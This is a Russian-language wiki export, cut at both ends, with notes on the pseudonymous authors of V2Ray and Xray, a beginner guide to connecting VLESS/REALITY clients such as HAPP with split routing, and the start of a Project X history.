XTLS/Xray-core](https://github.com/XTLS/Xray-core) - 🔍 **Парная заметка:** [[dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок (от SYN до ML)]] — общий конвейер, в который вписана эта схема - 🦎 **Парная заметка:** [[statistical-morphing-concept|Адаптивная мимикрия: статистический морфинг трафика]] — концепт, как *можно было бы* обойти поведенческий сигнал - 🕵️ **Полевой кейс:** [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — «Сигнал 2» в дикой природе: сайт не открывается только в Chrome/Edge - 💥 **Побочный ущерб:** [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты (июнь 2026)]] — те же три сигнала, но бьющие по обычным сайтам на хостингах, а не по обходным средствам - 📈 **Прогноз:** [[DPI/vpn-blocking-wave-forecast-summer-2026|Новая волна блокировок VPN (лето–осень 2026)]] — эта июньская схема в контексте ряда волн 2026 года; что в прогнозе подтверждено, а что остаётся экспертной гипотезой без даты - [[Zapret/about|Что такое обход DPI: VPN, Tor, DPI]] - [[Zapret/premium|premium]] — рабочие конфиги - [[Zapret/vless-sni|Список SNI для VLESS]] - [[VLESS-localhost-protection-guide|Защита VLESS на стороне localhost]] - [[VLESS-SOCKS5-vulnerability|Уязвимость VLESS + SOCKS5]] --- --- date: 2026-07-18 tags: - xray - v2ray - история - персоналии aliases: - Кто создал V2Ray и Xray - Victoria Raymond - Darien Raymond - RPRX - Автор V2Ray девушка или нет link: https://en.wikipedia.org/wiki/V2Ray --- # 🕵️ Кто стоит за V2Ray и Xray: Victoria Raymond, Darien Raymond и RPRX > [!info] О чём заметка > Разбор частого вопроса сообщества: «правда ли, что V2Ray/Xray создала девушка?». Кто такие псевдонимы **Victoria Raymond** (автор V2Ray) и **RPRX** (автор Xray-core), почему их путают, и что на самом деле известно об их гендере. Технику этих проектов см. в [[xray/project-x|Project X (Xray-core)]] и [[xray/vless|VLESS]]; здесь — только про личности и происхождение мифов. > [!warning] Речь о реальных анонимных людях > Персонажи ниже — реальные люди, сознательно сохраняющие анонимность (это норма для разработчиков инструментов обхода цензуры: раскрытие личности несёт им юридические и личные риски). Поэтому цель заметки — **не** деанонимизировать и не «доказать» чей-то пол, а честно отделить задокументированные факты от слухов сообщества. Аватары, ники и грамматические привычки чужих людей не являются заявлением человека о себе, и здесь они как доказательство пола не принимаются. ## TL;DR - **Два разных проекта — два разных псевдонима, вероятно два разных человека.** V2Ray (2015) создал(а) псевдоним, связанный с аккаунтом `github.com/victoriaraymond`; Xray-core (2020) — форк, его автор RPRX. Это не один человек. - **«Автор V2Ray — девушка» документально не подтверждается.** Убеждение держится только на женском имени «Victoria». Но git-история того же проекта показывает, что с тем же аккаунтом связаны и **мужское** имя «Darien Raymond» (основное), и женское «Claire Raymond». Это может быть один человек с несколькими именами **или** небольшая команда под общим аккаунтом — но в любом случае единый женский пол из этого не выводится. Реальный пол/состав авторов — **неизвестен**. - Даже в самом сообществе единого мнения нет: версии колеблются между «женщина», «мужчина в женском образе (女装)», «MTF-трансгендер» и «полностью выдуманная персона (人设)». - **RPRX (Xray) — точно отдельный человек**, и приписывание ему женского пола — это, скорее всего, перенос «женскости» Victoria Raymond на автора форка из-за созвучия имён проектов и общей анонимности. Аватар RPRX — не аниме-девочка, а город Асгард. - «Исчезновение» автора V2Ray в феврале 2019 — задокументировано (обрыв коммитов и соцсетей). Дальнейшая судьба (слухи об аресте, эмиграции в Швецию) — **неверифицируемые слухи**. ## Три сущности, которые постоянно путают Первый шаг к ясности — развести тех, кого сваливают в «загадочного создателя»: | Псевдоним / ник | Проект | Роль | Аккаунт | |---|---|---|---| | **Victoria / Darien / Claire Raymond** (имена одного аккаунта) | V2Ray (Project V), 2015–2019 | Оригинальный автор(ы) ядра и протокола VMess | [github.com/victoriaraymond](https://github.com/victoriaraymond) · [@projectv2ray](https://x.com/projectv2ray) · [keybase.io/v2ray](https://keybase.io/v2ray) | | **RPRX** | Xray-core (Project X), с 2020 | Автор VLESS, XTLS, [[xray/reality\|REALITY]], XHTTP; форк V2Ray | [github.com/rprx](https://github.com/rprx) | | **Xiaokang Wang** (ник Shelikhoo) | v2fly | Мейнтейнер, подхвативший V2Ray **после** ухода оригинального автора | часть орг. v2fly | Ключевое: Xray — это форк V2Ray (см. [[xray/project-x|историю форка]]), имена «V2Ray» и «Xray» созвучны, оба главных автора анонимны — поэтому «женскость» первого легко и ошибочно переносят на второго и на нынешних мейнтейнеров. ## Victoria Raymond и вопрос пола: что показывает git-история Самое сильное свидетельство — не слова в блогах, а сама история коммитов оригинального репозитория (ныне [v2fly/v2ray-core](https://github.com/v2fly/v2ray-core), прямое продолжение оригинала). Один и тот же GitHub-аккаунт и домен `v2ray.com` коммитил под несколькими именами: | Имя автора в git | Число коммитов | Период | |---|---|---| | **Darien Raymond** (обычно мужское имя) | ~2693 — основное | ноябрь 2015 — 28 февраля 2019 | | **Victoria Raymond** (женское) | ~19, в основном веб-merge через кнопку GitHub | сентябрь 2018 — февраль 2019 | | **Claire Raymond** (женское) | ~6 | октябрь 2015 | | V2Ray / V2Ray Dev и т.п. | ~1400+ | 2015+ | Все эти имена привязаны к одному GitHub-аккаунту. Обратите внимание на адреса: «Victoria Raymond» коммитила с `love@v2ray.com`, а «Darien»/«V2Ray» — с `admin@v2ray.com`. «Victoria Raymond» — это в основном публичное отображаемое имя merge-коммитов, сделанных через веб-кнопку GitHub, тогда как в обычных локальных коммитах преобладало **мужское «Darien Raymond»**. > [!note] Один человек или команда — точно неизвестно > Эту картину нельзя однозначно прочитать как «один человек с несколькими именами». Она равно согласуется и с версией «один разработчик со временем менял `git config user.name`», и с версией «небольшая команда делила общий аккаунт и домен» (разные адреса `love@`/`admin@` — слабый довод скорее в пользу более чем одной сущности). Для опенсорс-проекта общий аккаунт — обычная практика. Что именно из этого верно — по доступным данным не устанавливается. Отсюда честный вывод: приписывать автору(ам) V2Ray женский пол на основании имени «Victoria» некорректно — с тем же аккаунтом столь же документированно связано мужское имя «Darien». Ни README, ни блога, ни соцсети, ни интервью, где автор от первого лица называет себя женщиной или использует местоимения she/her, найти не удалось; на аккаунтах (Keybase, X, Patreon) поле pronouns не заполнено, а Patreon-описание использует нейтральное «their». Тезис «автор V2Ray — женщина» в Википедии и блогах держится **исключительно на женском имени** и на грамматике пересказчиков, а не на заявлении самого разработчика. > [!warning] Статус вопроса о поле > Реальный пол (и даже число) авторов V2Ray следует считать **недокументированным / неизвестным**, а не женским. Женское имя «Victoria» — это выбранная часть псевдонима, а не доказательство. Если за псевдонимом стоит несколько человек, единый пол приписать вообще нельзя. Git-история прямо противоречит однозначно женской атрибуции. ## Почему сообщество всё равно считает автора «девушкой» Убеждение живёт, и у него есть объяснимые корни — но ни один не является доказательством: - **Женское имя.** «Victoria» — женское имя, «Raymond» — мужское; персона публично подавалась под женским именем. Этого достаточно, чтобы имя «прилипло» как «она». - **Феминная самопрезентация персоны.** По наблюдениям, в китайском Twitter-био использовалось феминное самоназвание **姐** («сестрёнка/старшая сестра»). Это самопрезентация псевдонима, а не подтверждение личности. - **Разноголосица вместо факта.** В обсуждениях (например, англоязычная ветка китайского Twitter, ноябрь 2023) мнения расходятся на четыре взаимоисключающие версии: реальная женщина; **女装** (мужчина в женском образе); **MTF** (трансгендерная женщина); целиком выдуманный образ **人设**. То есть само сообщество не знает и спорит. - **Перенос на RPRX.** Знание «у истоков экосистемы стояла „Victoria“, которая загадочно исчезла» переносится на RPRX (автора форка Xray), как будто это «тот же вернувшийся автор». По таймлайну это неверно: автор V2Ray замолчал в феврале 2019, а RPRX активно вёл VLESS/XTLS в v2fly и создал Xray в конце 2020. > [!note] Про RPRX отдельно > Ассоциация «RPRX — девушка» ещё слабее, чем про Victoria. Проверка аватара `github.com/rprx` показала: это **не** аниме-персонаж, а изображение города Асгард (что согласуется с полем локации профиля «Ásgarðr»). В русскоязычных технических источниках (Хабр, ntc.party) о RPRX по умолчанию пишут в мужском роде. Никаких заявлений RPRX о своём поле нет — корректно писать нейтрально. Подробнее о самом RPRX — во врезке в [[xray/project-x|Project X]]. ## Исчезновение автора V2Ray: факт и слухи Это самый драматичный сюжет всей истории — и вокруг него больше всего домыслов. Разложим по надёжности. **Задокументировано (хронология):** - **1 февраля 2019** — один из последних постов аккаунта [@projectv2ray](https://x.com/projectv2ray) (в профиле указан Стокгольм): заявление, что инфраструктура V2Ray переведена на автохостинг и «даже если вся команда будет уничтожена, сайт не уйдёт в офлайн, новые версии продолжат выпускаться» ([твит](https://x.com/projectv2ray/status/1091306111406403584)). Ретроспективно это читают как осознание автором риска — но это интерпретация, а не заявление. - **20 февраля 2019** — ещё один из последних твитов (про DoH/ESNI). После февраля 2019 Twitter, Telegram и Zhihu перестают обновляться ([Wikipedia: V2Ray](https://en.wikipedia.org/wiki/V2Ray)). - **~ноябрь 2019** — git-коммиты прекращаются позже соцсетей (по Wikipedia — последний коммит в ноябре 2019). То есть «замолчал в соцсетях» (февраль) и «перестал коммитить» (ноябрь) — разные даты. - **2 августа 2019** — Telegram-канал автора показал системное уведомление о том, что аккаунт создателя неактивен 5 месяцев и будет удалён, если так продолжится. Важно: это **автоматическое уведомление Telegram о неактивности**, а не сообщение самого автора; заверенного скриншота-первоисточника найти не удалось, формулировка известна по вики-производным. - **2 июня 2019** — Telegram-канал [«V2Fly»](https://t.me/s/V2Fly) официально объявил о создании организации [github.com/v2fly](https://github.com/v2fly): поскольку оригинальный разработчик давно не выходит на связь, а у остальных мейнтейнеров нет полных прав на организацию и на инфраструктуру `v2ray.com`, для продолжения работы создана новая организация. Позже вся разработка ушла в v2fly/v2ray-core. **Реакция сообщества в реальном времени (проверяемые треды):** - Issue [«v2ray作者失联?» (#377, сент. 2019)](https://github.com/v2ray/discussion/issues/377) — «автор пропал?». - Issue [#2748 (сент. 2020)](https://github.com/v2ray/v2ray-core/issues/2748) — эмоциональный пост с эвфемизмом 喝茶 («пригласили на чай» = задержание полицией). - Discussion [«Where is Victoria Raymond» (#2199, дек. 2022)](https://github.com/v2fly/v2ray-core/discussions/2199) — поздняя рефлексия без новых фактов. **Слухи (НЕ подтверждено):** - Версии об **аресте/давлении силовиков в Китае** (喝茶, «точная деанонимизация») циркулируют в issue #2748 и на китайских форумах, но официально причина исчезновения не названа, прямых доказательств нет. China Digital Times подаёт это как слух. - Версии о раскрытии себя через код Alipay-红包 и дату возвращения в Китай, об эмиграции и замужестве в Швеции — из чатов, без первоисточников. В самих обсуждениях участники ставят их под сомнение (например: зачем человеку, писавшему о сокрытии личности и принимавшему криптовалюту, светить платёжный аккаунт). - Все эти сюжеты стоит держать именно как **неверифицируемые слухи о реальном человеке**, а не как факты. > [!note] Общий контекст (но не про Victoria напрямую) > В 2017–2019 годах в Китае шла кампания против инструментов обхода GFW: реальные приговоры продавцам и разработчикам VPN (дела Deng Jiewei, Wu Xiangyang и др., по сообщениям [CNN](https://www.cnn.com/2018/10/10/asia/china-vpn-censorship-intl) и [RFA](https://www.rfa.org/english/news/china/suspended-10112018145444.html)). Это документированный фон, на котором сообщество и строило догадки, — но ни одно из этих дел с автором V2Ray документально не связано. ## Единственный неаноним: Xiaokang Wang (Shelikhoo) На фоне трёх псевдонимов вся история имеет одну **открытую** фигуру — человека, который подхватил V2Ray после исчезновения оригинального автора и ведёт его до сих пор. > [!warning] Осторожно: «Xiaokang Wang» — очень распространённое имя > Так зовут множество разных людей (математики, инженеры, учёные), не связанных с прокси. Всё ниже привязано строго к **конкретному GitHub-аккаунту [github.com/xiaokangwang](https://github.com/xiaokangwang)** (там отображается «Xiaokang Wang (Shelikhoo)»), к нику **Shelikhoo** и к публикациям с явной аффилиацией «V2Ray Project» / «Tor Project». Любые совпадения по одному лишь имени сюда не относятся. Что публично раскрыто (со ссылками-якорями): - **Роль в v2fly.** Ключевой мейнтейнер и релиз-инженер [[xray/v2fly-vs-xray|v2ray-core]]: подписывает и публикует релизы верифицированной GPG-подписью «Xiaokang Wang (Shelikhoo)» (например, [релизы v2ray-core](https://github.com/v2fly/v2ray-core/releases)). Ведёт именной блог [kkdev.org](https://kkdev.org/) с техническими статьями про V2Ray (2016–2018). - **Локация и образование.** В профиле GitHub указан Дублин; аккаунт состоит в GitHub-организации «TCD-MSc-Computer-Science», что привязывает его к магистратуре Computer Science в Trinity College Dublin (это членство в org, а не дословное заявление, — но привязка сильная). - **Академическая работа.** Соавтор двух рецензируемых статей на топовой конференции по безопасности USENIX Security: - [«How the Great Firewall of China Detects and Blocks Fully Encrypted Traffic» (2023)](https://www.usenix.org/conference/usenixsecurity23/presentation/wu-mingshi) — в списке авторов указан прямо как «Xiaokang Wang, V2Ray Project». Это та самая работа про детект по [[VLESS/dpi-tls-june-2026|энтропии]], после которой разработчики оперативно добавляли обходы. - [«Snowflake, a censorship circumvention system using temporary WebRTC proxies» (2024)](https://www.usenix.org/conference/usenixsecurity24/presentation/bocovich) — аффилиация «Tor Project». Привязка к нику подтверждена анонсом черновика на [форуме Tor](https://forum.torproject.org/t/a-draft-research-paper-about-snowflake-comments-welcome/9585), где он назван «Xiaokang Wang (@Shelikhoo)». - **Tor.** Активный участник anti-censorship team проекта Tor: фасилитирует еженедельные встречи, в 2025 работал над Snowflake rev2 и WebTunnel (SNI-имитация). Подтверждено рассылками tor-project. Чего подтвердить **не** удалось (не приписываем): формального титула «lead maintainer» дословно; связи с OONI; личных докладов на FOCI/PETS/IETF; формы официального трудоустройства. > [!tip] Почему он — важный контраст > Xiaokang Wang выступает **под настоящим именем**: имя в списках авторов рецензируемых статей, открытые локация и блог, публичные встречи Tor. Это прямая противоположность псевдонимной модели clowwindy, Victoria Raymond и RPRX. То есть в экосистеме обхода GFW сосуществуют обе стратегии — радикальная анонимность (когда автор рискует и прячется) и полная открытость (когда человек работает из-за рубежа в академии и Tor). См. также сравнение управления проектами в [[xray/v2fly-vs-xray|v2fly vs Xray]]. ## 📚 См. также - [[xray/project-x|Project X (Xray-core)]] — история форка, роль RPRX, лицензионный конфликт с V2Ray - [[xray/v2fly-vs-xray|v2fly vs Xray]] — сравнение двух ядер по коду; там же — про нынешних мейнтейнеров v2fly (Shelikhoo) - [[xray/vless|Протокол VLESS]] — что RPRX создал вместо VMess - [[xray/vless-encryption|VLESS Encryption]] — постквантовое шифрование VLESS 2025 года; там же прямая позиция RPRX о том, для чего оно не предназначено - [[xray/vless-stack-map|Слои VLESS-стека]] — карта решений RPRX в одной таблице: транспорт, `security`, `flow`, `encryption` - [[xray/xtls-vision|XTLS и Vision]] — flow-технология RPRX; там же разведены три значения слова «XTLS» - [[xray/reality|REALITY]] — ещё одна разработка RPRX ### Источники - 🔗 [Wikipedia: V2Ray](https://en.wikipedia.org/wiki/V2Ray) — хронология проекта и «исчезновения» - 🔗 [v2fly/v2ray-core](https://github.com/v2fly/v2ray-core) — репозиторий, чья git-история показывает имена Darien/Victoria/Claire Raymond - 🔗 профили авторов: [github.com/victoriaraymond](https://github.com/victoriaraymond) · [github.com/rprx](https://github.com/rprx) (Xray) · [github.com/xiaokangwang](https://github.com/xiaokangwang) (Shelikhoo, v2fly) · его блог [kkdev.org](https://kkdev.org/) - 🔗 работы Xiaokang Wang: [USENIX Security 2023 (GFW detect, «V2Ray Project»)](https://www.usenix.org/conference/usenixsecurity23/presentation/wu-mingshi) · [USENIX Security 2024 (Snowflake, «Tor Project»)](https://www.usenix.org/conference/usenixsecurity24/presentation/bocovich) · [анонс на форуме Tor с ником @Shelikhoo](https://forum.torproject.org/t/a-draft-research-paper-about-snowflake-comments-welcome/9585) - 🔗 соцсети автора V2Ray: [@projectv2ray](https://x.com/projectv2ray) · [твит 1 февр. 2019](https://x.com/projectv2ray/status/1091306111406403584) · [keybase.io/v2ray](https://keybase.io/v2ray) - 🔗 создание v2fly: [объявление в Telegram-канале V2Fly](https://t.me/s/V2Fly) (2 июня 2019) - 🔗 треды об исчезновении: [«v2ray作者失联?» #377](https://github.com/v2ray/discussion/issues/377) · [#2748](https://github.com/v2ray/v2ray-core/issues/2748) · [«Where is Victoria Raymond» #2199](https://github.com/v2fly/v2ray-core/discussions/2199) - 🔗 контекст (кампания против VPN в КНР): [CNN, окт. 2018](https://www.cnn.com/2018/10/10/asia/china-vpn-censorship-intl) · [RFA, окт. 2018](https://www.rfa.org/english/news/china/suspended-10112018145444.html) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/authors-v2ray-xray.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - vless - reality - clients - routing - happ - howto aliases: - Клиенты VLESS - Настройка VPN-клиента - HAPP - routing.help - Раздельная маршрутизация link: https://www.happ.su/main/ru --- # 📱 Клиенты и маршрутизация: как подключиться к VLESS-серверу > [!info] О чём заметка > Практическая заметка для пользователя без опыта: как подключиться к серверу [[xray/vless|VLESS]]+[[xray/reality|REALITY]] с телефона или компьютера и как настроить **раздельную маршрутизацию** — чтобы российские сайты открывались напрямую (быстрее и без расхода трафика туннеля), а заблокированные — через сервер. Здесь про клиентские приложения и правила, а не про внутренности протокола: как устроены сами VLESS/REALITY — в [[xray/project-x|обзорной заметке Project X]]. Конкретные лимиты аккаунта (число устройств, объём трафика) зависят от вашего провайдера/администратора — уточняйте у него. ## TL;DR - Чтобы подключиться, нужны две вещи: **ключ (подписка)** от администратора сервера и **клиентское приложение**. Приложение само не даёт доступ — оно лишь подключается к серверу по ключу. - Для новичка самый простой клиент — **HAPP** (iOS/Android/Windows/macOS/Linux): импортируешь ключ и одной ссылкой загружаешь готовые правила маршрутизации. - **Ключ и правила маршрутизации — разные вещи.** Ключ = доступ к серверу. Правила = что идёт через туннель, а что напрямую. - Проверка работы: [2ip.ru](https://2ip.ru) обычно покажет **Россию** (российские сайты идут мимо туннеля — так и задумано), а [whatismyipaddress.com](https://whatismyipaddress.com) — **не Россию** (этот сайт идёт через сервер). - Клиентов много (HAPP, V2Box, v2rayNG, NekoBox, клиенты на ядре Clash.Meta) — все умеют VLESS+REALITY, но новичку проще начать с HAPP. ## Что нужно для подключения Подключение складывается из двух независимых частей, которые часто путают: 1. **Ключ подписки** (или ссылка на подписку / QR-код) — это ваш доступ к конкретному серверу. Его выдаёт администратор. Клиентское приложение по этому ключу знает адрес сервера, ключи REALITY и параметры протокола. 2. **Клиентское приложение** — программа, которая устанавливает соединение. Она универсальна: один и тот же ключ работает в разных приложениях. Проще говоря: ключ — это как логин-пароль к серверу, а приложение — как браузер, через который вы им пользуетесь. Приложение без ключа бесполезно, ключ без приложения — тоже. ## Самый простой путь: HAPP **HAPP** ([happ.su](https://www.happ.su/main/ru)) — кроссплатформенный клиент на ядре Xray-core (iOS, Android, Windows, macOS, Linux). Его удобство для новичка в том, что **готовые правила маршрутизации загружаются одной ссылкой**, без ручной возни с конфигами. Четыре шага: - [ ] **Установить HAPP** на устройство (App Store / Google Play / [happ.su](https://www.happ.su/main/ru)). - [ ] **Импортировать ключ:** открыть HAPP → «+» в правом верхнем углу → «Из буфера обмена» (если ключ скопирован) или «Сканировать QR-код». Конфигурация появится в списке серверов. - [ ] **Загрузить правила маршрутизации:** открыть ссылку **[routing.help](https://routing.help) в обычном браузере на том же устройстве**, где стоит HAPP. Система предложит открыть приложение HAPP — согласиться. Сайт не «ломается»: он специально передаёт настройки в HAPP. - [ ] **Включить подключение:** выбрать сервер в списке → большая кнопка ▶ внизу → при первом запуске разрешить добавить VPN-конфигурацию. > [!note] Шаг с ключом и шаг с правилами — это разные действия > Импорт ключа (шаг 2) даёт доступ к серверу. Загрузка правил через `routing.help` (шаг 3) — это **не** подписка и не сервер, а лишь настройка «какой трафик идёт через туннель, а какой напрямую». Ваш ключ при загрузке правил не меняется. ### Откуда берутся правила routing.help `routing.help` — это удобная короткая обёртка вокруг deeplink-схемы HAPP (`happ://routing/add/...`). Она подставляет готовый набор правил — например публичный [RoscomVPN Routing](https://github.com/hydraponique/roscomvpn-routing), который обновляется ежедневно. Технически та же настройка лежит в файле [DEFAULT.DEEPLINK](https://github.com/hydraponique/roscomvpn-routing/blob/main/HAPP/DEFAULT.DEEPLINK) — длинная строка, начинающаяся с `happ://`, которую можно вставить в адресную строку браузера вручную, если короткая ссылка не сработала. Типичный готовый набор разводит трафик так: - **Напрямую (мимо туннеля):** российские сайты (`.ru`), Microsoft, Apple, Google Play, Steam, Epic Games, Twitch и т.п. - **Через сервер:** YouTube, Telegram, GitHub и прочее заблокированное. - **Блокируется:** реклама, трекеры, торренты. Свои правила (другой DNS, свои списки сайтов) можно собрать в конструкторе [routing.happ.su](https://routing.happ.su/ru) — интерфейс на любителя, для опытных. ## Зачем нужна раздельная маршрутизация Гнать **весь** трафик через зарубежный сервер — плохая идея по двум причинам: российские сайты откроются медленнее (лишний крюк за границу и обратно), и вы зря потратите трафик туннеля. Хуже того — с точки зрения наблюдателя странно, когда обращение к российскому сайту с локальными серверами вдруг идёт из-за рубежа. Поэтому правильная схема — **разделять**: `.ru` и сервисы с серверами внутри страны идут напрямую, а заблокированное — через туннель. Готовые правила HAPP делают это за вас; для других клиентов настраивается вручную (см. ниже). ## Клиенты по платформам Все перечисленные умеют VLESS+REALITY. Для новичка рекомендуется HAPP; остальные — для тех, кто уже ими пользуется. | Платформа | Клиенты | |---|---| | iOS | **Happ** (реком.), V2Box (удобен для Telegram), FoXray | | Android | **Happ** (реком.), v2rayNG, NekoBox, v2RayTun, клиенты на Clash.Meta (FlClash) | | Windows | **Happ** (реком.), клиенты на Clash.Meta (Clash Verge Rev, FlClash, Koala Clash) | | macOS | **Happ** (реком.), V2Box, клиенты на Clash.Meta | | Linux | **Happ** (реком., пакеты deb/rpm/pkg), клиенты на Clash.Meta | > [!warning] NekoRay / NekoBox for PC больше не обновляются > Десктопный проект `MatsuriDayo/nekoray` (NekoRay и NekoBox for PC) **архивирован автором 17 марта 2025** — обновлений и исправлений не будет. Если пользуетесь им, стоит перейти на HAPP или клиент на ядре Clash.Meta; живой форк-преемник — Throne. При этом **NekoBox for Android — отдельный проект и он активен** (его не путайте с архивным PC-вариантом). > [!note] Клиенты на ядре Clash.Meta (mihomo) > FlClash, Clash Verge Rev, Koala Clash (Clash Nyanpasu) — это графические оболочки на ядре **[[Clash/02-mihomo|Mihomo (Clash.Meta)]]**, которое нативно поддерживает VLESS и REALITY. Важно: поддержка работает только на **актуальном** ядре mihomo — на старом оригинальном Clash-ядре VLESS+REALITY нет (само оригинальное ядро не развивается с ноября 2023 года — см. [[Clash/01-clash-core|Ядро Clash]]). Разбор живых и мёртвых оболочек — в заметке [[Clash/07-clients|Клиенты на ядре Clash/mihomo]]. ## Раздельная маршрутизация вручную (не HAPP) Если клиент не HAPP, правило «`.ru` напрямую» задаётся в настройках маршрутизации. Для клиентов на ядре **[[sing-box/sing-box-extended|sing-box]]** (NekoBox и др.) синтаксис такой: ```json { "rules": [ { "domain_suffix": [".ru"], "outbound": "direct" } ] } ``` Здесь `domain_suffix: [".ru"]` ловит все домены, оканчивающиеся на `.ru`, и направляет их в `outbound` с тегом `direct` (прямое соединение мимо сервера). Нужен соответствующий прямой outbound (`{"type": "direct", "tag": "direct"}`). Это валидный синтаксис sing-box; в клиентах с GUI (NekoBox, FoXray) то же правило задаётся через меню Routing. ## Проверка, что всё работает Откройте два сайта-«определителя IP» подряд: - [2ip.ru](https://2ip.ru) — часто покажет **Россию**. Это нормально и правильно: российский сайт идёт мимо туннеля. - [whatismyipaddress.com](https://whatismyipaddress.com) — должен показать **не Россию**. Значит зарубежный трафик действительно идёт через сервер. Если оба показывают одно и то же — маршрутизация, скорее всего, не разделяет трафик (либо всё идёт через туннель, либо всё напрямую). Если отдельный сайт не открылся — попробуйте позже или другой браузер, на работу туннеля это не всегда влияет. ## Если Telegram тормозит Иногда Telegram в одном клиенте подключается медленно или не грузит медиа, а в другом с тем же ключом работает стабильнее. Это не значит, что клиент «плохой» — приложения по-разному раздают трафик, и с вашим оператором может «сойтись» именно другое. На iPhone/Mac для Telegram у многих стабильнее **V2Box** (тот же ключ, что и в HAPP). Прежде чем менять клиент, стоит попробовать: заново загрузить правила, переключить сервер (другой город выхода часто помогает сильнее любых настроек), сменить DNS, обновиться до Stable-версии. ## Про терминологию «XTLS-Reality» В подобных руководствах связку часто называют одним словом — «XTLS-Reality» или просто «Reality». Как разговорный ярлык это понятно, но технически неточно: это **три независимых слоя** — протокол VLESS + flow-режим `xtls-rprx-vision` (XTLS-Vision) + слой безопасности REALITY. Официальные примеры XTLS называют её полностью: «VLESS-TCP-XTLS-Vision-REALITY». Почему это разные вещи и что каждый слой делает — подробно в [[xray/xtls-vision|заметке про XTLS и Vision]]. > [!tip] Ставьте только Stable-версии > Для всех клиентов используйте стабильные (Stable) релизы, а не бета/nightly — на нестабильных сборках чаще ломаются подключение и маршрутизация. ## 📚 См. также - [[xray/vless|Протокол VLESS]] — что за протокол вы настраиваете - [[xray/reality|REALITY]] — как работает маскировка под чужой сайт - [[xray/xtls-vision|XTLS и Vision]] — разбор терминологии «XTLS-Reality» - [[xray/routing|Маршрутизация в Xray]] — как правила и geosite/geoip устроены изнутри - [[xray/project-x|Project X (Xray-core)]] — обзор проекта и экосистемы клиентов/панелей - [[Clash/00-overview|Clash и mihomo]] — соседняя экосистема клиентов: ядро mihomo, его оболочки и маршрутизация по правилам - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — почему подписка иногда работает только в одном конкретном приложении и как это проверить - [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]] — почему связку всё же иногда режут - 🔗 [happ.su](https://www.happ.su/main/ru) · [FAQ HAPP](https://www.happ.su/main/ru/faq) — официальная документация клиента - 🔗 [routing.happ.su](https://routing.happ.su/ru) — конструктор правил маршрутизации - 🔗 [RoscomVPN Routing](https://github.com/hydraponique/roscomvpn-routing) — готовый публичный набор правил --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/clients-and-routing.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - xtls - vless - reality - censorship - history aliases: - Project X - Xray-core - Xray - XTLS link: https://github.com/XTLS/Xray-core --- # 🛰️ Project X (Xray-core): что это за проект и откуда он взялся > [!info] О чём заметка > Обзорная заметка о **Project X** — проекте вокруг ядра **Xray-core** и протоколов **XTLS** и **REALITY**, на которых сегодня работает большинство VLESS-серверов для обхода блокировок. Здесь — история проекта (от V2Ray до форка и нынешних дней), объяснение его ключевых технологий и карта экосистемы. Устройство самого протокола VLESS подробно разобрано в отдельной заметке [[xray/vless|Протокол VLESS]]; разбор актуальных методов детекта связки VLESS+REALITY — в [[VLESS/dpi-tls-june-2026|разборе схемы ограничений июня 2026]]. ## TL;DR - **Project X** — организация на GitHub ([XTLS](https://github.com/XTLS)), развивающая ядро **Xray-core**, протокол маскировки **REALITY** и семейство технологий XTLS. Сайт: [xtls.github.io](https://xtls.github.io/en/). - Xray-core — это **форк V2Ray** (ноябрь 2020), случившийся из-за лицензионного конфликта вокруг XTLS-патча. Автор XTLS и VLESS — анонимный разработчик **RPRX** — ушёл из v2fly и основал собственный проект. - Главная идея всех технологий проекта — сделать прокси-трафик **неотличимым от обычного HTTPS**: XTLS убирает двойное шифрование, Vision маскирует паттерны «TLS внутри TLS», REALITY позволяет прикрываться настоящим чужим сайтом без собственного домена. - Сегодня Xray — де-факто стандарт обхода DPI-цензуры в Иране, Китае и России; вокруг него выросла экосистема клиентов (v2rayN, v2rayNG, Hiddify, Streisand) и панелей (3x-ui, Marzban). - Лицензия — MPL-2.0, версии с ~2024 года календарные (например v26.7.11 = 11 июля 2026). ## Предыстория: V2Ray и исчезновение автора Чтобы понять Xray, нужно начать с его прародителя. **V2Ray (Project V)** — платформа для построения прокси-сетей, созданная анонимным разработчиком под псевдонимом **Victoria Raymond**; первый релиз вышел 18 сентября 2015 года ([Wikipedia](https://en.wikipedia.org/wiki/V2Ray)). V2Ray принёс протокол **VMess** и модульную архитектуру «ядро + транспорты», ставшую образцом для всех последующих инструментов обхода цензуры. Около февраля 2019 года автор V2Ray перестал выходить на связь, и проект остался без владельца. Сообщество реорганизовало разработку под новой организацией **v2fly** (репозиторий v2fly/v2ray-core), где проект живёт до сих пор. > [!note] «Victoria Raymond — девушка»? Не подтверждено > Женское имя «Victoria» породило устойчивое мнение, что автора V2Ray — женщина, а заодно эту «женскость» переносят и на RPRX (автора Xray). На деле git-история того же проекта показывает, что тот же аккаунт чаще подписывался **мужским** именем «Darien Raymond», так что реальный пол автора неизвестен, а не женский. Полный разбор — в [[xray/authors-v2ray-xray|отдельной заметке про авторов V2Ray и Xray]]. Проще говоря: V2Ray — «дедушка» современных VLESS-серверов, потерявший автора и перешедший под управление сообщества. Именно внутри этого сообщества и созрел конфликт, породивший Xray. ## Форк: лицензионный конфликт вокруг XTLS (ноябрь 2020) Разработчик под псевдонимом **RPRX** создал для v2ray-core два ключевых компонента: протокол [[xray/vless|VLESS]] (лёгкая замена VMess) и технологию **XTLS** (см. ниже). Точная механика конфликта (по разбору сообщества в [v2fly discussions #688](https://github.com/v2fly/v2ray-core/discussions/688)) такова: код XTLS был опубликован, но под **проприетарной лицензией**, не удовлетворяющей требованиям OSI. Это ломало сборку Debian-пакета (Debian принимает только OSI-совместимый код). Мейнтейнер 